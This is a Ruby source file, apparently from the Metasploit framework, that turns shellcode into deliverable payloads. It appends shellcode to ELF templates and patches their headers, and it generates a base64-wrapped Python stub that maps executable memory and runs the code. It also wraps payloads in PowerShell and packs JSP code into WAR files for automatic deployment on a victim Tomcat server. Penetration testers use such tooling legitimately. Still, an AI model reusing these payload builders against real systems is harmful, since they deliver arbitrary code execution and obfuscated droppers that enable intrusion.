Path: blob/master/lib/msf/util/exe/common.rb
36037 views
module Msf::Util::EXE::Common1require 'rex'2require 'rex/peparsey'3require 'rex/pescan'4require 'rex/random_identifier'5require 'rex/zip'6require 'rex/powershell'7require 'metasm'8require 'digest/sha1'910def self.included(base)11base.extend(ClassMethods)12end1314module ClassMethods15# Generates a ZIP file.16#17# @param files [Array<Hash>] Items to compress. Each item is a hash that supports these options:18# * :data - The content of the file.19# * :fname - The file path in the ZIP file20# * :comment - A comment21# @example Compressing two files, one in a folder called 'test'22# Msf::Util::EXE.to_zip([{data: 'AAAA', fname: "file1.txt"}, {data: 'data', fname: 'test/file2.txt'}])23# @return [String]24def to_zip(files)25zip = Rex::Zip::Archive.new2627files.each do |f|28data = f[:data]29fname = f[:fname]30comment = f[:comment] || ''31zip.add_file(fname, data, comment)32end3334zip.pack35end3637# Generates a default template38#39# @param opts [Hash] The options hash40# @option opts [String] :template, the template type for the executable41# @option opts [String] :template_path, the path for the template42# @option opts [Bool] :fallback, If there are no options set, default options will be used43# @param exe [String] Template type. If undefined, will use the default.44# @param path [String] Where you would like the template to be saved.45def set_template_default(opts, exe = nil, path = nil)46# If no path specified, use the default one47path ||= File.join(Msf::Config.data_directory, "templates")4849# If there's no default name, we must blow it up.50unless exe51raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called ' +52'without default exe name!'53end5455# Use defaults only if nothing is specified56opts[:template_path] ||= path57opts[:template] ||= exe5859# Only use the path when the filename contains no separators.60unless opts[:template].include?(File::SEPARATOR)61opts[:template] = File.join(opts[:template_path], opts[:template])62end6364# Check if it exists now65return if File.file?(opts[:template])66# If it failed, try the default...67if opts[:fallback]68default_template = File.join(path, exe)69if File.file?(default_template)70# Perhaps we should warn about falling back to the default?71opts.merge!({ :fellback => default_template })72opts[:template] = default_template73end74end75end7677# read_replace_script_template78#79# @param filename [String] Name of the file80# @param hash_sub [Hash]81def read_replace_script_template(filename, hash_sub)82template_pathname = File.join(Msf::Config.data_directory, "templates",83"scripts", filename)84template = ''85File.open(template_pathname, "rb") {|f| template = f.read}86template % hash_sub87end8889# get_file_contents90#91# @param perms [String]92# @param file [String]93# @return [String]94def get_file_contents(file, perms = "rb")95contents = ''96File.open(file, perms) {|fd| contents = fd.read(fd.stat.size)}97contents98end99100# find_payload_tag101#102# @param mo [String]103# @param err_msg [String]104# @raise [RuntimeError] if the "PAYLOAD:" is not found105# @return [Integer]106def find_payload_tag(mo, err_msg)107bo = mo.index('PAYLOAD:')108unless bo109raise RuntimeError, err_msg110end111bo112end113114def elf?(code)115code[0..3] == "\x7FELF"116end117118def macho?(code)119code[0..3] == "\xCF\xFA\xED\xFE" || code[0..3] == "\xCE\xFA\xED\xFE" || code[0..3] == "\xCA\xFE\xBA\xBE"120end121122# Create an ELF executable containing the payload provided in +code+123#124# For the default template, this method just appends the payload, checks if125# the template is 32 or 64 bit and adjusts the offsets accordingly126# For user-provided templates, modifies the header to mark all executable127# segments as writable and overwrites the entrypoint (usually _start) with128# the payload.129# @param framework [Msf::Framework] The framework of you want to use130# @param opts [Hash]131# @option [String] :template132# @param template [String]133# @param code [String]134# @param big_endian [Boolean] Set to "false" by default135# @return [String]136def to_exe_elf(framework, opts, template, code, big_endian=false)137if elf? code138return code139end140141# Allow the user to specify their own template142set_template_default(opts, template)143144# The old way to do it is like other formats, just overwrite a big145# block of rwx mem with our shellcode.146#bo = elf.index( "\x90\x90\x90\x90" * 1024 )147#co = elf.index( " " * 512 )148#elf[bo, 2048] = [code].pack('a2048') if bo149150# The new template is just an ELF header with its entry point set to151# the end of the file, so just append shellcode to it and fixup152# p_filesz and p_memsz in the header for a working ELF executable.153elf = get_file_contents(opts[:template])154elf << code155156# Check EI_CLASS to determine if the header is 32 or 64 bit157# Use the proper offsets and pack size158case elf[4,1].unpack("C").first159when 1 # ELFCLASS32 - 32 bit (ruby 1.9+)160if big_endian161elf[0x44,4] = [elf.length].pack('N') #p_filesz162elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz163else # little endian164elf[0x44,4] = [elf.length].pack('V') #p_filesz165elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz166end167when 2 # ELFCLASS64 - 64 bit (ruby 1.9+)168if big_endian169elf[0x60,8] = [elf.length].pack('Q>') #p_filesz170elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz171else # little endian172elf[0x60,8] = [elf.length].pack('Q<') #p_filesz173elf[0x68,8] = [elf.length + code.length].pack('Q<') #p_memsz174end175else176raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"177end178179elf180end181182def to_python_reflection(framework, arch, code, exeopts)183unless [ ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_PPC ].include? arch184raise "Msf::Util::EXE.to_python_reflection is not compatible with #{arch}"185end186187python_code = <<~PYTHON188#{Rex::Text.to_python(code)}189import ctypes,os190if os.name == 'nt':191cbuf = (ctypes.c_char * len(buf)).from_buffer_copy(buf)192ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p193ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_long(0),ctypes.c_long(len(buf)),ctypes.c_int(0x3000),ctypes.c_int(0x40))194ctypes.windll.kernel32.RtlMoveMemory.argtypes = [ctypes.c_void_p,ctypes.c_void_p,ctypes.c_int]195ctypes.windll.kernel32.RtlMoveMemory(ptr,cbuf,ctypes.c_int(len(buf)))196ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()197else:198import mmap199from ctypes.util import find_library200c = ctypes.CDLL(find_library('c'))201c.mmap.restype = ctypes.c_void_p202ptr = c.mmap(0,len(buf),mmap.PROT_READ|mmap.PROT_WRITE,mmap.MAP_ANONYMOUS|mmap.MAP_PRIVATE,-1,0)203ctypes.memmove(ptr,buf,len(buf))204c.mprotect.argtypes = [ctypes.c_void_p,ctypes.c_int,ctypes.c_int]205c.mprotect(ptr,len(buf),mmap.PROT_READ|mmap.PROT_EXEC)206ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()207PYTHON208209"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(python_code)}')[0]))"210end211212def to_win32pe_psh_msil(framework, code, opts = {})213Rex::Powershell::Payload.to_win32pe_psh_msil(Rex::Powershell::Templates::TEMPLATE_DIR, code)214end215216def to_win32pe_psh_rc4(framework, code, opts = {})217# unlike other to_win32pe_psh_* methods, this expects powershell code, not asm218# this method should be called after other to_win32pe_psh_* methods to wrap the output219Rex::Powershell::Payload.to_win32pe_psh_rc4(Rex::Powershell::Templates::TEMPLATE_DIR, code)220end221222# Creates a Web Archive (WAR) file from the provided jsp code.223#224# On Tomcat, WAR files will be deployed into a directory with the same name225# as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the226# server is in a default configuration, deoployment will happen227# automatically. See228# {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat229# documentation} for a description of how this works.230#231# @param jsp_raw [String] JSP code to be added in a file called +jsp_name+232# in the archive. This will be compiled by the victim servlet container233# (e.g., Tomcat) and act as the main function for the servlet.234# @param opts [Hash]235# @option opts :jsp_name [String] Name of the <jsp-file> in the archive236# _without the .jsp extension_. Defaults to random.237# @option opts :app_name [String] Name of the app to put in the <servlet-name>238# tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to239# random.240# @option opts :extra_files [Array<String,String>] Additional files to add241# to the archive. First element is filename, second is data242#243# @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar}244#245# @return [String]246def to_war(jsp_raw, opts = {})247jsp_name = opts[:jsp_name]248jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8..15))249app_name = opts[:app_name]250app_name ||= Rex::Text.rand_text_alpha_lower(rand(8..15))251252meta_inf = [ 0xcafe, 0x0003 ].pack('Vv')253manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"254web_xml = %q{<?xml version="1.0"?>255<!DOCTYPE web-app PUBLIC256"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"257"http://java.sun.com/dtd/web-app_2_3.dtd">258<web-app>259<servlet>260<servlet-name>NAME</servlet-name>261<jsp-file>/PAYLOAD.jsp</jsp-file>262</servlet>263</web-app>264}265web_xml.gsub!('NAME', app_name)266web_xml.gsub!('PAYLOAD', jsp_name)267268zip = Rex::Zip::Archive.new269zip.add_file('META-INF/', '', meta_inf)270zip.add_file('META-INF/MANIFEST.MF', manifest)271zip.add_file('WEB-INF/', '')272zip.add_file('WEB-INF/web.xml', web_xml)273# add the payload274zip.add_file("#{jsp_name}.jsp", jsp_raw)275276# add extra files277if opts[:extra_files]278opts[:extra_files].each { |el| zip.add_file(el[0], el[1]) }279end280281zip.pack282end283end284285class << self286include ClassMethods287end288end289290291